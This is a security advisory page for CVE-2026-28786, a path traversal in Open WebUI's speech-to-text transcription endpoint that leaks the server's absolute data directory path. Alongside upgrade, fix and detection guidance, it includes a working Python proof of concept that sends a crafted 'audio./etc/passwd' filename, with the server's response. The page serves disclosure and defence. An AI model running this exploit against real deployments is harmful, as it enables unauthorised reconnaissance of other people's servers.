CVE-2026-28786: Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`
Open WebUI before 0.8.6 does not sanitise the multipart filename in POST /api/v1/audio/transcriptions. Any logged-in non-admin user can send a crafted filename and get an HTTP 400 that contains the server's absolute DATA_DIR path. Upgrade to 0.8.6. The impact is limited to information disclosure.
Published Mar 27, 2026 · Analysis Oct 31, 2026
What an attacker can do
In backend/open_webui/routers/audio.py the handler takes the file extension with file.filename.split(".")[-1] and builds a path from it. A filename such as audio./etc/passwd makes the extension /etc/passwd, so the path becomes {CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd. open() fails with FileNotFoundError. The outer except block returns the exception text in the 400 response, which shows the full absolute path, for example /app/backend/data/cache/audio/transcriptions/....
The MIME check looks only at the Content-Type field, so audio/wav passes whatever the filename says. The route needs only get_verified_user, the lowest privilege tier, so every registered account can do this. By changing the traversal depth, a user can also learn about the filesystem layout from the changing error messages.
The reporter states this is not a write primitive: the path includes a fresh UUID segment that never exists as a directory, so the write fails. The effect is information disclosure only. Shared and multi-tenant deployments are most exposed.
Who is affected
The pip package open-webui below 0.8.6. Default deployments are affected. The attacker needs a standard account, so instances with open sign-up are the easiest targets.
Check your version:
pip show open-webuiFor Docker, check the image tag or the version in the Open WebUI About settings.
open-webui
- Ecosystem
- PyPI
- Affected
- < 0.8.6
- Fixed in
- 0.8.6
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.8.6.
pip install --upgrade open-webui==0.8.6The fix (commit 387225e) runs the filename through os.path.basename() before taking the extension, as the sibling upload handlers already do. Both except blocks in the transcription function now return the generic message "Transcription failed." and log the full exception server-side. The advisory lists no workaround; blocking the route at a reverse proxy would work if you do not use speech-to-text, but no source suggests it.
How to tell if you were hit
Search access logs for POST requests to /api/v1/audio/transcriptions that return 400, and application logs for FileNotFoundError mentioning audio/transcriptions with a . followed by a path fragment. Repeated attempts from one account with changing filenames suggest path probing. Request bodies are not normally logged, so the filename may need proxy-level capture.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATA_DIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.
Details
backend/open_webui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():
ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation
filename = f"{id}.{ext}" # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
f.write(contents)If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:
{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwdopen() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERROR_MESSAGES.DEFAULT(e), leaking the full absolute path in the response body.
The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.
This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:
# files.py:244
filename = os.path.basename(file.filename)
# pipelines.py:206
filename = os.path.basename(file.filename)Recommended fix — match the existing pattern and suppress path leakage in errors:
# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"
# audio.py:1231 — suppress internal path in error response
except Exception as e:
log.exception(e)
raise HTTPException(status_code=400, detail="Transcription failed.")---
PoC
Requirements: a running Open WebUI instance and one standard (non-admin) user account.
docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requestsimport requests, sys
BASE_URL = "http://localhost:3000"
EMAIL = "[email protected]"
PASSWORD = "changeme"
token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=10).json()["token"]
boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()
resp = requests.post(
f"{BASE_URL}/api/v1/audio/transcriptions",
data=body,
headers={"Authorization": f"Bearer {token}",
"Content-Type": f"multipart/form-data; boundary={boundary}"},
timeout=15,
)
print(resp.status_code, resp.text)Observed output (live test, commit `b8112d72b`):
400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.
Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.
---
Impact
Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.
AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.
Credited to akshatgit.
Questions
- Can this CVE be used to read or write files?
No. The reporter says the write path is blocked because the UUID directory never exists, and the response only reveals the error text. The impact is disclosure of the DATA_DIR path.
- Does the attacker need admin rights?
No. Any authenticated user can call the route. It has no user interaction and needs only a standard account.
- Is CVE-2026-28786 fixed in 0.8.6?
Yes. Versions below 0.8.6 are affected. 0.8.6 sanitises the filename and returns a generic error.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
